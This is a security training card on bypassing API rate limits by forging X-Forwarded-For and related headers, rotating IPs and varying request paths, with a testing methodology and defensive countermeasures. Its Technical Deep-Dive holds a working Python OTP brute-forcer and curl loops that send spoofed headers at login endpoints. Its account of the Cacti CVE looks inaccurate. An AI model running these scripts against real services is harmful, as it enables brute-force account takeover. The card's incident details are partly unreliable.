API Rate Limit Bypass: Request Throttling Circumvention via Header Manipulation and IP Rotation
Théorie
Why This Matters
Rate limit bypass enabled the 2019 Instagram account takeover vulnerability: security researcher Laxman Muthiyah discovered that Instagram's password reset OTP endpoint was rate-limited only client-side, and that submitting requests with different X-Forwarded-For headers rotated the IP seen by the rate limiter, allowing brute-force of 6-digit PINs in bulk. The same pattern appears in credential stuffing attacks: rate limits based on source IP are systematically bypassed by distributing requests across proxy pools. CVE-2022-46169 (Cacti remote code execution) was exploitable without authentication partly because the rate limit protecting the authentication endpoint could be bypassed via X-Forwarded-For header injection. Rate limit bypass converts a brute-force-resistant control into a speed bump.
Core Concept
API rate limiting constrains the number of requests a client can make within a time window. Limits are tracked against an identifier. The vulnerability arises when that identifier is taken from a client-controlled value rather than a server-verified one.
IP-based rate limiting is the most common and weakest form. If the rate limiter uses RemoteAddr (the TCP connection IP), rotating proxy IPs bypasses it. If the rate limiter uses X-Forwarded-For or X-Real-IP header values (trusting the client), a single attacker can forge these headers to appear as a different IP on every request.
Header-based bypass techniques:
X-Forwarded-For: 127.0.0.1— many rate limiters treat loopback as trusted and exempt it from limits.X-Forwarded-For: <rotating IP>— each request appears to come from a different source IP.X-Real-IP: <spoofed IP>— alternative header used by some Nginx configurations.X-Originating-IP,X-Remote-IP,X-Remote-Addr,X-Client-IP,Forwarded: for=<IP>— less common alternatives that some custom rate limiters process.CF-Connecting-IP(Cloudflare),True-Client-IP(Akamai) — CDN-specific headers; may be trusted on non-CDN deployments.
Request variation bypasses:
- Path variation:
/api/v1/loginand/api/v1/Login(case) or/api/v1/login/(trailing slash) may be tracked as different endpoints. - Account/key rotation: distributing requests across multiple user accounts, each with its own rate limit bucket.
- Null byte in path:
/api/v1/login%00may bypass some string-comparison rate limiters.
Rate limit model differences:
- Fixed window — counts requests in a fixed interval (e.g., 100/minute). Vulnerable to a burst at the window boundary: 100 requests at 11:59:59 + 100 at 12:00:01 = 200 in two seconds.
- Sliding window — counts requests in a trailing window. More robust but still bypassable via IP rotation.
- Token bucket / leaky bucket — allows bursts up to bucket capacity; more nuanced to bypass.
Client fingerprinting beyond IP: robust rate limiters use browser fingerprint, API key, user account ID, or a combination. Fingerprinting beyond IP is the correct defense; IP alone is never sufficient.
Technical Deep-Dive
# ── Rate limit bypass via X-Forwarded-For rotation ────────────────────────
import requests, random, itertools
BASE_URL = "https://api.example.com"
def make_ip():
"""Generate a random non-RFC1918 IP for rotation."""
while True:
ip = f"{random.randint(1,254)}.{random.randint(0,255)}.{random.randint(0,255)}.{random.randint(1,254)}"
octets = [int(o) for o in ip.split(".")]
# Exclude RFC1918 ranges
if octets[0] not in (10, 127, 192, 172):
return ip
def brute_otp(endpoint, session_token, otp_digits=6):
"""Brute-force a 6-digit OTP via X-Forwarded-For rotation."""
results = []
for otp in range(10 ** otp_digits):
code = str(otp).zfill(otp_digits)
headers = {
"Authorization": f"Bearer {session_token}",
"X-Forwarded-For": make_ip(), # New IP per request
"X-Real-IP": make_ip(),
"Content-Type": "application/json",
}
resp = requests.post(
f"{BASE_URL}{endpoint}",
json={"code": code},
headers=headers,
timeout=10,
)
if resp.status_code == 200 and "success" in resp.text.lower():
print(f"[+] Valid OTP found: {code}")
return code
if resp.status_code == 429:
print(f"[-] Rate limited despite IP rotation at code {code}")
break
return None
# ── Detect rate limit mechanism before bypassing ───────────────────────────
def detect_rate_limit(endpoint, n=20):
"""Send n rapid requests; identify at which request a 429 is returned."""
base_headers = {"Content-Type": "application/json"}
for i in range(1, n + 1):
r = requests.post(f"{BASE_URL}{endpoint}", json={"username": "test", "password": "test"},
headers=base_headers)
print(f" Request {i}: status={r.status_code}")
if r.status_code == 429:
print(f"[+] Rate limit triggered at request {i}")
return i
print("[-] No rate limit detected in {n} requests")
return None
# ── Path variation bypass ─────────────────────────────────────────────────
path_variants = [
"/api/v1/login",
"/api/v1/Login",
"/api/v1/login/",
"/api/v1/login%00",
"/api/v1/../v1/login",
"/api/v1/./login",
]
for path in path_variants:
r = requests.post(f"{BASE_URL}{path}", json={"username": "admin", "password": "wrong"})
print(f" {path} → {r.status_code}")
# Burp Intruder setup for X-Forwarded-For bypass
# 1. Capture login request in Burp Proxy
# 2. Send to Intruder → Pitchfork attack type
# 3. Mark password field as position 1
# 4. Add custom header X-Forwarded-For: §IP§ — mark IP as position 2
# 5. Payload set 1: password wordlist
# 6. Payload set 2: generated IPs (use Extension: IP Rotate or generate list)
# Quick header bypass test with curl
for i in $(seq 1 30); do
FAKE_IP="$((RANDOM % 200 + 10)).$((RANDOM % 255)).$((RANDOM % 255)).$((RANDOM % 254))"
STATUS=$(curl -s -o /dev/null -w "%{http_code}" -X POST
"https://api.example.com/api/auth/login"
-H "Content-Type: application/json"
-H "X-Forwarded-For: $FAKE_IP"
-d '{"username":"admin","password":"test"}')
echo "Request $i | IP=$FAKE_IP | Status=$STATUS"
done
# Test loopback bypass
curl -s -X POST "https://api.example.com/api/auth/login"
-H "X-Forwarded-For: 127.0.0.1"
-H "Content-Type: application/json"
-d '{"username":"admin","password":"wrong"}'
Security Assessment Methodology
- Establish the rate limit baseline — Send rapid repeated requests to the target endpoint (login, OTP, password reset) using a fixed IP. Record the exact request number that triggers a 429 response. Note any
Retry-AfterorX-RateLimit-*headers. - Test X-Forwarded-For bypass — Re-run the same requests adding
X-Forwarded-For: 127.0.0.1. If the rate limit counter resets, the limiter trusts this header. Also testX-Real-IP,X-Originating-IP,X-Remote-IP,X-Client-IP,Forwarded: for=127.0.0.1. - Test IP rotation bypass — Send requests with a different random
X-Forwarded-ForIP on each request (Burp Intruder with IP rotation payload). Observe whether the 429 is reached at the same count or deferred. - Test path variation — Try the endpoint with trailing slash, uppercase characters, null byte, URL-encoded path segments, and
.or..components. Confirm whether each variant shares the same rate limit bucket. - Test account rotation — If multiple test accounts are available, distribute requests across accounts. Confirm whether rate limits are per-account or per-IP.
- Document bypass effectiveness and downstream impact — If rate limit bypass enables credential brute-force, calculate the realistic attack time for a 6-digit PIN or common password list. This drives severity scoring.
Defensive Countermeasure — Base rate limits on the authenticated user account ID for authenticated endpoints, not on IP or client-supplied headers. For pre-authentication endpoints (login, OTP, password reset), use multi-factor rate limiting: track by IP (from
RemoteAddr, not headers), device fingerprint, and username simultaneously. Never trustX-Forwarded-Forunless the request arrives from a known, trusted reverse proxy IP range. Use a CDN or WAF that enforces rate limits at the edge before requests reach the application. Implement account lockout as a defense-in-depth measure independent of rate limiting.
Common Assessment Errors
- Testing only
X-Forwarded-For: 127.0.0.1— Some rate limiters exempt loopback but still count other forged IPs correctly. Test both loopback bypass and random IP rotation to distinguish the two behaviors. - Not measuring the limit before attempting bypass — Without knowing the baseline limit (e.g., 10 requests/minute), it is impossible to confirm a bypass. Always establish the baseline first.
- Forgetting to test all similar endpoints — A login endpoint may be well-protected; the password reset OTP endpoint on the same application may have no rate limit at all. Test all authentication-adjacent endpoints.
- Assuming 429 means the bypass failed — A 429 with a 1-second
Retry-Afteris easily automated around. The effective question is whether the limit prevents an attack in practice, not whether a 429 was ever returned. - Not checking whether rate limits apply to authenticated endpoints — Sensitive actions (email change, 2FA disable, high-value API calls) often lack rate limits because they are "already authenticated". Test these explicitly.
- Overlooking application-layer rate limits vs infrastructure limits — A CDN or WAF may enforce limits that are bypassed when accessing the origin directly. Test both the CDN endpoint and any exposed origin IP.
NICE Framework Alignment
| Code | Knowledge/Skill/Task Statement | How This Card Develops It |
|---|---|---|
| K0007 | Knowledge of authentication, authorization, and access control methods | Explains how rate limit mechanisms fail when based on client-controlled identifiers |
| K0065 | Knowledge of policy-based controls for data access | Connects rate limit design to access control policy for authentication endpoints |
| K0070 | Knowledge of system and application security threats and vulnerabilities | Maps header bypass techniques to the Instagram OTP and Cacti CVE incidents |
| S0001 | Skill in conducting vulnerability scans and recognizing vulnerabilities in security systems | Trains baseline measurement, header bypass, and path variation testing |
| T0028 | Conduct and support authorized penetration testing on enterprise networks | Provides a tool-explicit methodology using Burp Intruder and curl for bypass confirmation |
| T0570 | Conduct application security assessments | Frames rate limit bypass as a required check for authentication and sensitive action endpoints |
Further Reading
- Muthiyah, L. (2019). "How I could have hacked any Instagram account" — laxmanmuthiyah.com (offline reference)
- OWASP API Security Top 10 2023, API4: Unrestricted Resource Consumption — OWASP Foundation
- Cloudflare: Rate Limiting Best Practices — Cloudflare Documentation
Challenge Lab
Renforcez votre apprentissage avec un défi généré basé sur la compétence de cette carte.